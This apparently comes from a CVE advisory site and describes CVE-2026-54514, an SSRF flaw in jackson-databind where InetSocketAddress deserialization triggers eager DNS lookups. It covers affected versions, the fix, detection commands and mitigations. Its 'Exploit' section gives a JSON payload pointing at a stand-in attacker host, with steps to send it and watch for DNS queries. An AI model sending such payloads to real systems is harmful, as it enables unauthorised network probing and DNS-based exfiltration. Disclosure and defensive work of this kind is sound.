Jackson-databind InetSocketAddress Deserialization Eager DNS Resolution (SSRF), CVE-2026-54514 (Medium) -DC-Jun2026-607

Listen to this Post

CVE-2026-54514 is a Server-Side Request Forgery (SSRF) vulnerability identified in the FasterXML jackson-databind library. The flaw resides within the `JDKFromStringDeserializer` class, which is responsible for deserializing string inputs into `InetSocketAddress` objects.
During the deserialization process, the vulnerable code constructs an `InetSocketAddress` instance using new InetSocketAddress(host, port). This constructor performs an eager DNS name resolution for the provided hostname at the very moment of deserialization. This behavior is problematic for applications that use Jackson’s `ObjectMapper.readValue()` method to bind untrusted JSON data into Java objects containing an `InetSocketAddress` field.
An attacker who can control the JSON payload can supply a malicious hostname. When the application deserializes this payload, the library immediately triggers a DNS lookup for the attacker’s domain before any application-level validation, business logic, or network connection is attempted. This allows an attacker to force the application server to make outbound DNS queries to attacker-controlled infrastructure.
The impact is primarily an information disclosure or a vector for further attacks. A successful exploit can be used for:
– Out-of-band (OOB) data exfiltration: By encoding sensitive data into DNS subdomains.
– Internal network probing: By resolving hostnames that correspond to internal services, an attacker can determine if specific internal IP addresses or services are reachable from the server’s network.
– SSRF attacks: While limited to DNS resolution in this specific case, it can be a stepping stone for more complex SSRF attacks or to bypass certain network defenses.
The fix for this vulnerability is straightforward and was implemented in commit 1f5a103. The library now uses InetSocketAddress.createUnresolved(host, port), which creates an `InetSocketAddress` without performing a DNS lookup, thereby deferring the resolution until an explicit connection is attempted.

DailyCVE Form

Platform: `jackson-databind`
Version: `2.0.0` to <2.18.8, `2.19.0` to <2.21.4, `3.0.0` to `<3.1.4` Vulnerability: Eager DNS Resolution Severity: Medium (5.3) Date: 2026-06-23

Prediction: Patch available (2026-06-04)

What Undercode Say: Analytics

Security researchers and analysts should prioritize identifying applications that deserialize untrusted JSON into objects with `InetSocketAddress` fields.
– Verify Version: Check your project’s `pom.xml` or `build.gradle` for the `jackson-databind` dependency version.

Example for Maven
mvn dependency:tree | grep jackson-databind

– Check for Vulnerable Code Patterns: Search your codebase for usage of `ObjectMapper` with types that contain InetSocketAddress.

Search for InetSocketAddress usage in Java files
grep -r "InetSocketAddress" src/

Exploit

An attacker can exploit this vulnerability by crafting a JSON payload that includes a malicious hostname in a field mapped to an InetSocketAddress.
1. Identify a Target Endpoint: Find an API endpoint that accepts JSON and deserializes it into a Java object containing an `InetSocketAddress` field.
2. Craft the Payload: Create a JSON object where the `InetSocketAddress` field contains a hostname controlled by the attacker, for example, attacker.com.

{
"address": "attacker.com:8080"
}

3. Send the Request: Submit this JSON payload to the vulnerable endpoint.
4. Monitor for DNS Queries: The attacker monitors their DNS server for a lookup request originating from the target application’s server. The presence of this query confirms the vulnerability.

Protection

  • Upgrade: The primary and most effective mitigation is to upgrade the `jackson-databind` library to a patched version: 2.18.8, 2.21.4, 3.1.4, or later.
  • Input Validation: Implement strict validation on the `host` and `port` values before they are deserialized. However, this is a defense-in-depth measure as the vulnerability occurs during the deserialization process itself.
  • Network Controls: Restrict outbound DNS traffic from application servers to only allow queries to trusted, internal DNS resolvers, limiting an attacker’s ability to exfiltrate data.

Impact

  • Information Disclosure: An attacker can use DNS queries to exfiltrate sensitive information or probe the internal network topology.
  • SSRF Vector: While the direct impact is DNS resolution, it can be a crucial component in a larger SSRF attack chain.
  • Widespread Applicability: The jackson-databind library is ubiquitous in the Java ecosystem, making a large number of applications potentially vulnerable if they process untrusted JSON.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top